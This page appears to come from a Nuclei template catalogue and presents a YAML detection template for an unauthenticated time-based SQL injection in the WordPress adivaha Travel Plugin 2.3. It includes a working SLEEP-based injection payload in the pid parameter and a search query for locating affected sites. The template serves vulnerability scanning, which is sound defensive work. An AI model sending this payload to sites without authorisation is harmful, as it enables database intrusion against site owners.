Skip to content

WordPress adivaha Travel Plugin 2.3 - SQL Injection

ID: wp-adivaha-sqli

Severity: high

Author: theamanrawat

Tags: time-based-sqli,sqli,adivaha,wordpress,wp,wp-plugin

An unauthenticated Time-Based SQL injection found in adivaha Travel Plugin 2.3 allows a remote attacker to retrieve the contents of an entire database.

id: wp-adivaha-sqli
info:
name: WordPress adivaha Travel Plugin 2.3 - SQL Injection
author: theamanrawat
severity: high
description: |
An unauthenticated Time-Based SQL injection found in adivaha Travel Plugin 2.3 allows a remote attacker to retrieve the contents of an entire database.
reference:
- https://wordpress.org/plugins/adiaha-hotel/
metadata:
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/adiaha-hotel/"
tags: time-based-sqli,sqli,adivaha,wordpress,wp,wp-plugin
http:
- raw:
- |
@timeout: 25s
GET /mobile-app/v3/?pid='+AND+(SELECT+6398+FROM+(SELECT(SLEEP(7)))zoQK)+AND+'Zbtn'='Zbtn&isMobile=chatbot HTTP/2
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- duration>=7
- status_code == 200
- contains(body, "adivaha")
condition: and
# digest: 490a0046304402207813501b4695aaa7153d921b2d8570c3665642fa77c9364d7181693fd9d8b5c802207d151fc579a8e2166e8a74eae1c0913c8e12bfa53adf6dd8210157826455c929:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-adivaha-sqli.yaml"

View on Github